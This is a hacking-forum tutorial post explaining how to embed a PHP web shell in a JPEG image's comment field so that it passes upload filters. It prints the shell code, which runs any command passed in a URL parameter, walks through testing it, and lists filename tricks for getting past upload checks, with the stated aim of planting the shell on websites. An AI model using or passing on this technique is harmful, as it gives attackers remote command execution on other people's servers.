A backdoor in a picture | General Hacking | Crax

Welcome To Crax.Pro Forum!

Check our new Marketplace at Crax.Shop

   Login! SignUp Now!

A backdoor in a picture

A backdoor in a picture

LV
0
 

davinciscode29

Member
Joined
Jun 25, 2024
Threads
8
Likes
0
Credits
250©
Cash
0$
What do we need?

an image (with the extension .JPG or .JPEG)
a program called edjpgcom.exe



And a PHP code (of your choice)
For this tutorial we will use this code



<?php
echo "<pre>";
system($_GET['hackflag']);
echo "<pre>";
?>

What can you do with this code?

Well, with this you can execute commands, for example

if you go to index.php (with this code) you can type this in


index.php?hackflag=ping google.nl

and then it will Ping Google and then write the output into the php page.

Ok… Let's get started!

So first we take a random JPG image, I have one of a fish.

EO9nB


We drag this image (vis.jpg) onto edjpgcom.exe.
Now a screen will appear.
In this screen you now type your PHP code

in my case it is this



<?php
echo "<pre>";
system($_GET['hackflag']);
echo "<pre>";
?>

O0NoB


Now click OK

If you were to look in the source now you would see the script.

Pqjjw


The image will still work (by the way, the image also works if you rename it to .TXT which is quite funny)

7C6Ae


Now, we rename it to .PHP.
Now all vague TEXT will appear, that is the source of the image.

BFmmL


OK time to test it!
First let's ping Google


127.0.0.1/vis.php?hackflag=ping google.nl

And yes it works!

Z5cBj


Now you may be wondering, What's in this for me?

Sometimes you try to upload a shell but you can't, because it's PHP, even if you use bypass techniques (vis.php;jpg | vis.php%00.jpg)

But now the site will think it's a real picture, giving you a better chance of uploading it!

I hope someone learns something from it
:stuck_out_tongue:
 

Create an account or login to comment

You must be a member in order to leave a comment

Create account

Create an account on our community. It's easy!

Log in

Already have an account? Log in here.

Tips
Tips
Top Bottom